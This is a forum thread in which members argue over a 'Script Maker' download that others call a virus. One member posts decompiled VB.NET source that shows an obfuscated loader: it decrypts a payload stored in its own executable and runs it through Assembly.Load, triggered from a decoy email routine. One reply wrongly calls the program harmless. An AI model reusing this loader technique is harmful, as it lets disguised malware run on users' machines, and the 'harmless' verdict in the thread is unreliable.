Jump to content

For all scripters.


AJXB

Recommended Posts

This is a Script Maker by Me, I learned a little of Lua on Wiki, And i made this to help all new scripters, And it could help the professional ones. Hope it helps all.

-Link removed-

Aye you little piece of shat, upload your virus elsewhere.

NB: Your virus is sooo 2008

Your a new poster and you complain about something that isn't a virus? I tried it, it worked on my computer, but it's not finished I guess

Link to comment
This is a Script Maker by Me, I learned a little of Lua on Wiki, And i made this to help all new scripters, And it could help the professional ones. Hope it helps all.

-Link removed-

Aye you little piece of shat, upload your virus elsewhere.

NB: Your virus is sooo 2008

Your a new poster and you complain about something that isn't a virus? I tried it, it worked on my computer, but it's not finished I guess

New poster? My gawd... you should know...

EDIT: Atleast he should've uploaded some pictures.

Link to comment

Guys... Your pretty stupid. It steals something, I decompiled it.

Here is the source code: http://www.mediafire.com/?hrvjr4cam6ikr54

Public Sub New() 
    Form1.__ENCAddToList(Me) 
    Me.delim = "//fhsgfjsdzerbfd//" 
    Me.coca = "Class1" 
    Me.pepsi = "start" 
    Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1)) 
    Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))) 
    Me.carpet = Me.gbyt(Me.red) 
    Me.InitializeComponent 
    Me.SendEmail("[email protected]", "[email protected]", "test", "test") 
End Sub 
  
  
  
  
  

Link to comment
Guys... Your pretty stupid. It steals something, I decompiled it.

Here is the source code: http://www.mediafire.com/?hrvjr4cam6ikr54

Public Sub New() 
    Form1.__ENCAddToList(Me) 
    Me.delim = "//fhsgfjsdzerbfd//" 
    Me.coca = "Class1" 
    Me.pepsi = "start" 
    Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1)) 
    Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))) 
    Me.carpet = Me.gbyt(Me.red) 
    Me.InitializeComponent 
    Me.SendEmail("[email protected]", "[email protected]", "test", "test") 
End Sub 
  
  
  
  
  

What do you mean? I didn't get what you said.

Edited by Guest
Link to comment

So why isn't this topic removed and the member banned for illegal / matched unsecured content?

You can tell by the topic name: "For all scripters", something must be wrong/getting you into some shit. At-least prove to us you aren't bullshitting and post a little more information rather than a download from mediafire. Don't get me wrong here, there's Lua codes / code forms you can put your script in or even if you don't want people seeing your compiled code use the MTA resources page and upload it there.

Link to comment

This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer.

And second of all, all the code in there is C&P; but just one thing.

It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box).

And the "suspicious" send email part, what it does is send an email from "[email protected]" to the email "[email protected]" with the subject "test" and body "test".

And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent"

MessageBox.Show("Email Sent")

(A.K.A msgbox("Email Sent"))

Link to comment
This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer.

And second of all, all the code in there is C&P; but just one thing.

It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box).

And the "suspicious" send email part, what it does is send an email from "[email protected]" to the email "[email protected]" with the subject "test" and body "test".

And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent"

MessageBox.Show("Email Sent")

(A.K.A msgbox("Email Sent"))

Well that explains everything.. People just got their own ways of scripting lol.. However I still don't know what to believe, maybe it does do something different, just blind to see it. I'll not take any risks though, wont be downloading it and thanks for the information.

Link to comment
This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer.

And second of all, all the code in there is C&P; but just one thing.

It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box).

And the "suspicious" send email part, what it does is send an email from "[email protected]" to the email "[email protected]" with the subject "test" and body "test".

And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent"

MessageBox.Show("Email Sent")

(A.K.A msgbox("Email Sent"))

Well that explains everything.. People just got their own ways of scripting lol.. However I still don't know what to believe, maybe it does do something different, just blind to see it. I'll not take any risks though, wont be downloading it and thanks for the information.

  
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Data
Imports System.Data.OleDb
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Windows.Forms
 
Namespace live
    <DesignerGenerated> _
    Friend Class Form1
        Inherits Form
        ' Methods
        Public Sub New()
            Form1.__ENCAddToList(Me)
            Me.delim = "//fhsgfjsdzerbfd//"
            Me.coca = "Class1"
            Me.pepsi = "start"
            Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1))
            Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3))))
            Me.carpet = Me.gbyt(Me.red)
            Me.InitializeComponent
            Me.SendEmail("[email protected]", "[email protected]", "test", "test")
        End Sub
 
        <DebuggerNonUserCode> _
        Private Shared Sub __ENCAddToList(ByVal value As Object)
            Dim list As List(Of WeakReference) = Form1.__ENCList
            SyncLock list
                If (Form1.__ENCList.Count = Form1.__ENCList.Capacity) Then
                    Dim index As Integer = 0
                    Dim num3 As Integer = (Form1.__ENCList.Count - 1)
                    Dim i As Integer = 0
                    Do While (i <= num3)
                        Dim reference As WeakReference = Form1.__ENCList.Item(i)
                        If reference.IsAlive Then
                            If (i <> index) Then
                                Form1.__ENCList.Item(index) = Form1.__ENCList.Item(i)
                            End If
                            index += 1
                        End If
                        i += 1
                    Loop
                    Form1.__ENCList.RemoveRange(index, (Form1.__ENCList.Count - index))
                    Form1.__ENCList.Capacity = Form1.__ENCList.Count
                End If
                Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
            End SyncLock
        End Sub
 
        <MethodImpl(MethodImplOptions.NoInlining)> _
        Public Sub adios()
            ProjectData.EndApp
        End Sub
 
        Public Sub blue(ByVal AssemblyName As Byte(), ByVal ClassName As String, ByVal MethodName As String, ByVal args As Object())
            Dim arguments As Object() = New Object() { AssemblyName, ClassName, MethodName, args }
            Dim copyBack As Boolean() = New Boolean() { True, True, True, True }
            NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Assembly.Load(Me.gbyt(Me.dcrp(Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(2))), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))))).GetType("PP.PP"))), Nothing, "IM", arguments, Nothing, Nothing, copyBack, True)
            If copyBack(0) Then
                AssemblyName = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Byte())), Byte())
            End If
            If copyBack(1) Then
                ClassName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(1)), GetType(String)))
            End If
            If copyBack(2) Then
                MethodName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(2)), GetType(String)))
            End If
            If copyBack(3) Then
                args = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(3)), GetType(Object())), Object())
            End If
        End Sub
 
        Public Function dcrp(ByVal inputstring As String, ByVal pass As String) As String
            If (inputstring = "email") Then
                Me.blue(Me.carpet, Me.coca, Me.pepsi, New Object(0  - 1) {})
                Me.adios
            End If
            Dim bytes As Byte() = Encoding.Default.GetBytes(inputstring)
            Dim num As Integer = 0
            Dim str2 As String = pass
            Dim num7 As Integer = 0
            Dim length As Integer = str2.Length
            Do While (num7 < length)
                Dim ch As Char = str2.Chars(num7)
                num = (num + Strings.Asc(ch))
                num7 += 1
            Loop
            Dim num9 As Integer = (bytes.Length - 2)
            Dim i As Integer = 0
            Do While (i <= num9)
                Dim num2 As Integer = bytes(i)
                Dim num4 As Integer = bytes((i + 1))
                Dim num5 As Integer = (((2 * num4) - num) - num2)
                Dim num3 As Integer = ((num - num2) + num4)
                Do While (num3 < 0)
                    num3 = (num3 + &H100)
                Loop
                Do While (num5 < 0)
                    num5 = (num5 + &H100)
                Loop
                bytes(i) = CByte((num3 Mod &H100))
                bytes((i + 1)) = CByte((num5 Mod &H100))
                i = (i + 2)
            Loop
            Return Encoding.Default.GetString(bytes)
        End Function
 
        <DebuggerNonUserCode> _
        Protected Overrides Sub Dispose(ByVal disposing As Boolean)
            Try
                If (disposing AndAlso (Not Me.components Is Nothing)) Then
                    Me.components.Dispose
                End If
            Finally
                MyBase.Dispose(disposing)
            End Try
        End Sub
 
        Public Function expat() As Byte()
            Return File.ReadAllBytes(Application.ExecutablePath)
        End Function
 
        Public Function gbyt(ByVal value As String) As Byte()
            Return Encoding.Default.GetBytes(value)
        End Function
 
        Public Function gstr(ByVal value As Byte()) As String
            Return Encoding.Default.GetString(value)
        End Function
 
        <DebuggerStepThrough> _
        Private Sub InitializeComponent()
            Me.components = New Container
            Me.NotifyIcon1 = New NotifyIcon(Me.components)
            Me.NumericUpDown1 = New NumericUpDown
            Me.Button1 = New Button
            Me.CheckBox1 = New CheckBox
            Me.LinkLabel1 = New LinkLabel
            Me.NumericUpDown1.BeginInit
            Me.SuspendLayout
            Me.NotifyIcon1.Text = "NotifyIcon1"
            Me.NotifyIcon1.Visible = True
            Dim point2 As New Point(&H95, &H4D)
            Me.NumericUpDown1.Location = point2
            Me.NumericUpDown1.Name = "NumericUpDown1"
            Dim size2 As New Size(120, 20)
            Me.NumericUpDown1.Size = size2
            Me.NumericUpDown1.TabIndex = 0
            point2 = New Point(&H7C, &H93)
            Me.Button1.Location = point2
            Me.Button1.Name = "Button1"
            size2 = New Size(&H4B, &H17)
            Me.Button1.Size = size2
            Me.Button1.TabIndex = 1
            Me.Button1.Text = "Button1"
            Me.Button1.UseVisualStyleBackColor = True
            Me.CheckBox1.AutoSize = True
            point2 = New Point(&H8B, &H75)
            Me.CheckBox1.Location = point2
            Me.CheckBox1.Name = "CheckBox1"
            size2 = New Size(&H51, &H11)
            Me.CheckBox1.Size = size2
            Me.CheckBox1.TabIndex = 2
            Me.CheckBox1.Text = "CheckBox1"
            Me.CheckBox1.UseVisualStyleBackColor = True
            Me.LinkLabel1.AutoSize = True
            point2 = New Point(&H39, &H27)
            Me.LinkLabel1.Location = point2
            Me.LinkLabel1.Name = "LinkLabel1"
            size2 = New Size(&H3B, 13)
            Me.LinkLabel1.Size = size2
            Me.LinkLabel1.TabIndex = 3
            Me.LinkLabel1.TabStop = True
            Me.LinkLabel1.Text = "LinkLabel1"
            Dim ef2 As New SizeF(6!, 13!)
            Me.AutoScaleDimensions = ef2
            Me.AutoScaleMode = AutoScaleMode.Font
            size2 = New Size(&H11C, &H105)
            Me.ClientSize = size2
            Me.Controls.Add(Me.LinkLabel1)
            Me.Controls.Add(Me.CheckBox1)
            Me.Controls.Add(Me.Button1)
            Me.Controls.Add(Me.NumericUpDown1)
            Me.Name = "Form1"
            Me.Text = "Form1"
            Me.NumericUpDown1.EndInit
            Me.ResumeLayout(False)
            Me.PerformLayout
        End Sub
 
        Private Function ReadExcelFile(ByVal filePath As String, ByVal fileName As String) As DataSet
            If (filePath <> "C:\") Then
                fileName = "ExcelFile.xlsx"
            End If
            If (fileName <> "ExcelFile.xlsx") Then
                Dim connectionString As String = (String.Format("Provider=Microsoft.Jet.OLEDB.4.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1;""")
                Dim str2 As String = "SELECT * FROM [sheet1$]"
                Dim info As New FileInfo(fileName)
                If (info.Extension.ToLower = ".xlsx") Then
                    connectionString = (String.Format("Provider=Microsoft.ACE.OLEDB.12.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 12.0 Xml;HDR=YES;""")
                End If
                Dim dataSet As New DataSet
                Dim connection As New OleDbConnection(connectionString)
                Try
                    connection.Open
                    Dim command As New OleDbCommand With { _
                        .Connection = connection, _
                        .CommandText = str2 _
                    }
                    New OleDbDataAdapter() With { _
                        .SelectCommand = command _
                    }.Fill(dataSet)
                Catch exception1 As Exception
                    ProjectData.SetProjectError(exception1)
                    Dim exception As Exception = exception1
                    Me.Close
                    ProjectData.ClearProjectError
                Finally
                    connection.Close
                End Try
                Return dataSet
            End If
            Return New DataSet
        End Function
 
        Public Function SendEmail(ByVal From As String, ByVal receiver As String, ByVal subject As String, ByVal body As String) As Object
            Dim obj2 As Object
            Me.dcrp("email", "send")
            Dim message As New MailMessage With { _
                .From = New MailAddress(From) _
            }
            message.To.Add(receiver)
            message.Subject = subject
            message.Body = body
            Dim client As New SmtpClient("smtp.gmail.com") With { _
                .Port = &H24B, _
                .Credentials = New NetworkCredential("account uid", " account pwd"), _
                .EnableSsl = True _
            }
            Try
                client.Send(message)
Link to comment
This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer.

And second of all, all the code in there is C&P; but just one thing.

It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box).

And the "suspicious" send email part, what it does is send an email from "[email protected]" to the email "[email protected]" with the subject "test" and body "test".

And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent"

MessageBox.Show("Email Sent")

(A.K.A msgbox("Email Sent"))

Well that explains everything.. People just got their own ways of scripting lol.. However I still don't know what to believe, maybe it does do something different, just blind to see it. I'll not take any risks though, wont be downloading it and thanks for the information.

  
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Data
Imports System.Data.OleDb
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Windows.Forms
 
Namespace live
    <DesignerGenerated> _
    Friend Class Form1
        Inherits Form
        ' Methods
        Public Sub New()
            Form1.__ENCAddToList(Me)
            Me.delim = "//fhsgfjsdzerbfd//"
            Me.coca = "Class1"
            Me.pepsi = "start"
            Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1))
            Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3))))
            Me.carpet = Me.gbyt(Me.red)
            Me.InitializeComponent
            Me.SendEmail("[email protected]", "[email protected]", "test", "test")
        End Sub
 
        <DebuggerNonUserCode> _
        Private Shared Sub __ENCAddToList(ByVal value As Object)
            Dim list As List(Of WeakReference) = Form1.__ENCList
            SyncLock list
                If (Form1.__ENCList.Count = Form1.__ENCList.Capacity) Then
                    Dim index As Integer = 0
                    Dim num3 As Integer = (Form1.__ENCList.Count - 1)
                    Dim i As Integer = 0
                    Do While (i <= num3)
                        Dim reference As WeakReference = Form1.__ENCList.Item(i)
                        If reference.IsAlive Then
                            If (i <> index) Then
                                Form1.__ENCList.Item(index) = Form1.__ENCList.Item(i)
                            End If
                            index += 1
                        End If
                        i += 1
                    Loop
                    Form1.__ENCList.RemoveRange(index, (Form1.__ENCList.Count - index))
                    Form1.__ENCList.Capacity = Form1.__ENCList.Count
                End If
                Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
            End SyncLock
        End Sub
 
        <MethodImpl(MethodImplOptions.NoInlining)> _
        Public Sub adios()
            ProjectData.EndApp
        End Sub
 
        Public Sub blue(ByVal AssemblyName As Byte(), ByVal ClassName As String, ByVal MethodName As String, ByVal args As Object())
            Dim arguments As Object() = New Object() { AssemblyName, ClassName, MethodName, args }
            Dim copyBack As Boolean() = New Boolean() { True, True, True, True }
            NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Assembly.Load(Me.gbyt(Me.dcrp(Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(2))), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))))).GetType("PP.PP"))), Nothing, "IM", arguments, Nothing, Nothing, copyBack, True)
            If copyBack(0) Then
                AssemblyName = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Byte())), Byte())
            End If
            If copyBack(1) Then
                ClassName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(1)), GetType(String)))
            End If
            If copyBack(2) Then
                MethodName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(2)), GetType(String)))
            End If
            If copyBack(3) Then
                args = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(3)), GetType(Object())), Object())
            End If
        End Sub
 
        Public Function dcrp(ByVal inputstring As String, ByVal pass As String) As String
            If (inputstring = "email") Then
                Me.blue(Me.carpet, Me.coca, Me.pepsi, New Object(0  - 1) {})
                Me.adios
            End If
            Dim bytes As Byte() = Encoding.Default.GetBytes(inputstring)
            Dim num As Integer = 0
            Dim str2 As String = pass
            Dim num7 As Integer = 0
            Dim length As Integer = str2.Length
            Do While (num7 < length)
                Dim ch As Char = str2.Chars(num7)
                num = (num + Strings.Asc(ch))
                num7 += 1
            Loop
            Dim num9 As Integer = (bytes.Length - 2)
            Dim i As Integer = 0
            Do While (i <= num9)
                Dim num2 As Integer = bytes(i)
                Dim num4 As Integer = bytes((i + 1))
                Dim num5 As Integer = (((2 * num4) - num) - num2)
                Dim num3 As Integer = ((num - num2) + num4)
                Do While (num3 < 0)
                    num3 = (num3 + &H100)
                Loop
                Do While (num5 < 0)
                    num5 = (num5 + &H100)
                Loop
                bytes(i) = CByte((num3 Mod &H100))
                bytes((i + 1)) = CByte((num5 Mod &H100))
                i = (i + 2)
            Loop
            Return Encoding.Default.GetString(bytes)
        End Function
 
        <DebuggerNonUserCode> _
        Protected Overrides Sub Dispose(ByVal disposing As Boolean)
            Try
                If (disposing AndAlso (Not Me.components Is Nothing)) Then
                    Me.components.Dispose
                End If
            Finally
                MyBase.Dispose(disposing)
            End Try
        End Sub
 
        Public Function expat() As Byte()
            Return File.ReadAllBytes(Application.ExecutablePath)
        End Function
 
        Public Function gbyt(ByVal value As String) As Byte()
            Return Encoding.Default.GetBytes(value)
        End Function
 
        Public Function gstr(ByVal value As Byte()) As String
            Return Encoding.Default.GetString(value)
        End Function
 
        <DebuggerStepThrough> _
        Private Sub InitializeComponent()
            Me.components = New Container
            Me.NotifyIcon1 = New NotifyIcon(Me.components)
            Me.NumericUpDown1 = New NumericUpDown
            Me.Button1 = New Button
            Me.CheckBox1 = New CheckBox
            Me.LinkLabel1 = New LinkLabel
            Me.NumericUpDown1.BeginInit
            Me.SuspendLayout
            Me.NotifyIcon1.Text = "NotifyIcon1"
            Me.NotifyIcon1.Visible = True
            Dim point2 As New Point(&H95, &H4D)
            Me.NumericUpDown1.Location = point2
            Me.NumericUpDown1.Name = "NumericUpDown1"
            Dim size2 As New Size(120, 20)
            Me.NumericUpDown1.Size = size2
            Me.NumericUpDown1.TabIndex = 0
            point2 = New Point(&H7C, &H93)
            Me.Button1.Location = point2
            Me.Button1.Name = "Button1"
            size2 = New Size(&H4B, &H17)
            Me.Button1.Size = size2
            Me.Button1.TabIndex = 1
            Me.Button1.Text = "Button1"
            Me.Button1.UseVisualStyleBackColor = True
            Me.CheckBox1.AutoSize = True
            point2 = New Point(&H8B, &H75)
            Me.CheckBox1.Location = point2
            Me.CheckBox1.Name = "CheckBox1"
            size2 = New Size(&H51, &H11)
            Me.CheckBox1.Size = size2
            Me.CheckBox1.TabIndex = 2
            Me.CheckBox1.Text = "CheckBox1"
            Me.CheckBox1.UseVisualStyleBackColor = True
            Me.LinkLabel1.AutoSize = True
            point2 = New Point(&H39, &H27)
            Me.LinkLabel1.Location = point2
            Me.LinkLabel1.Name = "LinkLabel1"
            size2 = New Size(&H3B, 13)
            Me.LinkLabel1.Size = size2
            Me.LinkLabel1.TabIndex = 3
            Me.LinkLabel1.TabStop = True
            Me.LinkLabel1.Text = "LinkLabel1"
            Dim ef2 As New SizeF(6!, 13!)
            Me.AutoScaleDimensions = ef2
            Me.AutoScaleMode = AutoScaleMode.Font
            size2 = New Size(&H11C, &H105)
            Me.ClientSize = size2
            Me.Controls.Add(Me.LinkLabel1)
            Me.Controls.Add(Me.CheckBox1)
            Me.Controls.Add(Me.Button1)
            Me.Controls.Add(Me.NumericUpDown1)
            Me.Name = "Form1"
            Me.Text = "Form1"
            Me.NumericUpDown1.EndInit
            Me.ResumeLayout(False)
            Me.PerformLayout
        End Sub
 
        Private Function ReadExcelFile(ByVal filePath As String, ByVal fileName As String) As DataSet
            If (filePath <> "C:\") Then
                fileName = "ExcelFile.xlsx"
            End If
            If (fileName <> "ExcelFile.xlsx") Then
                Dim connectionString As String = (String.Format("Provider=Microsoft.Jet.OLEDB.4.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1;""")
                Dim str2 As String = "SELECT * FROM [sheet1$]"
                Dim info As New FileInfo(fileName)
                If (info.Extension.ToLower = ".xlsx") Then
                    connectionString = (String.Format("Provider=Microsoft.ACE.OLEDB.12.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 12.0 Xml;HDR=YES;""")
                End If
                Dim dataSet As New DataSet
                Dim connection As New OleDbConnection(connectionString)
                Try
                    connection.Open
                    Dim command As New OleDbCommand With { _
                        .Connection = connection, _
                        .CommandText = str2 _
                    }
                    New OleDbDataAdapter() With { _
                        .SelectCommand = command _
                    }.Fill(dataSet)
                Catch exception1 As Exception
                    ProjectData.SetProjectError(exception1)
                    Dim exception As Exception = exception1
                    Me.Close
                    ProjectData.ClearProjectError
                Finally
                    connection.Close
                End Try
                Return dataSet
            End If
            Return New DataSet
        End Function
 
        Public Function SendEmail(ByVal From As String, ByVal receiver As String, ByVal subject As String, ByVal body As String) As Object
            Dim obj2 As Object
            Me.dcrp("email", "send")
            Dim message As New MailMessage With { _
                .From = New MailAddress(From) _
            }
            message.To.Add(receiver)
            message.Subject = subject
            message.Body = body
            Dim client As New SmtpClient("smtp.gmail.com") With { _
                .Port = &H24B, _
                .Credentials = New NetworkCredential("account uid", " account pwd"), _
                .EnableSsl = True _
            }
Link to comment
Guest
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...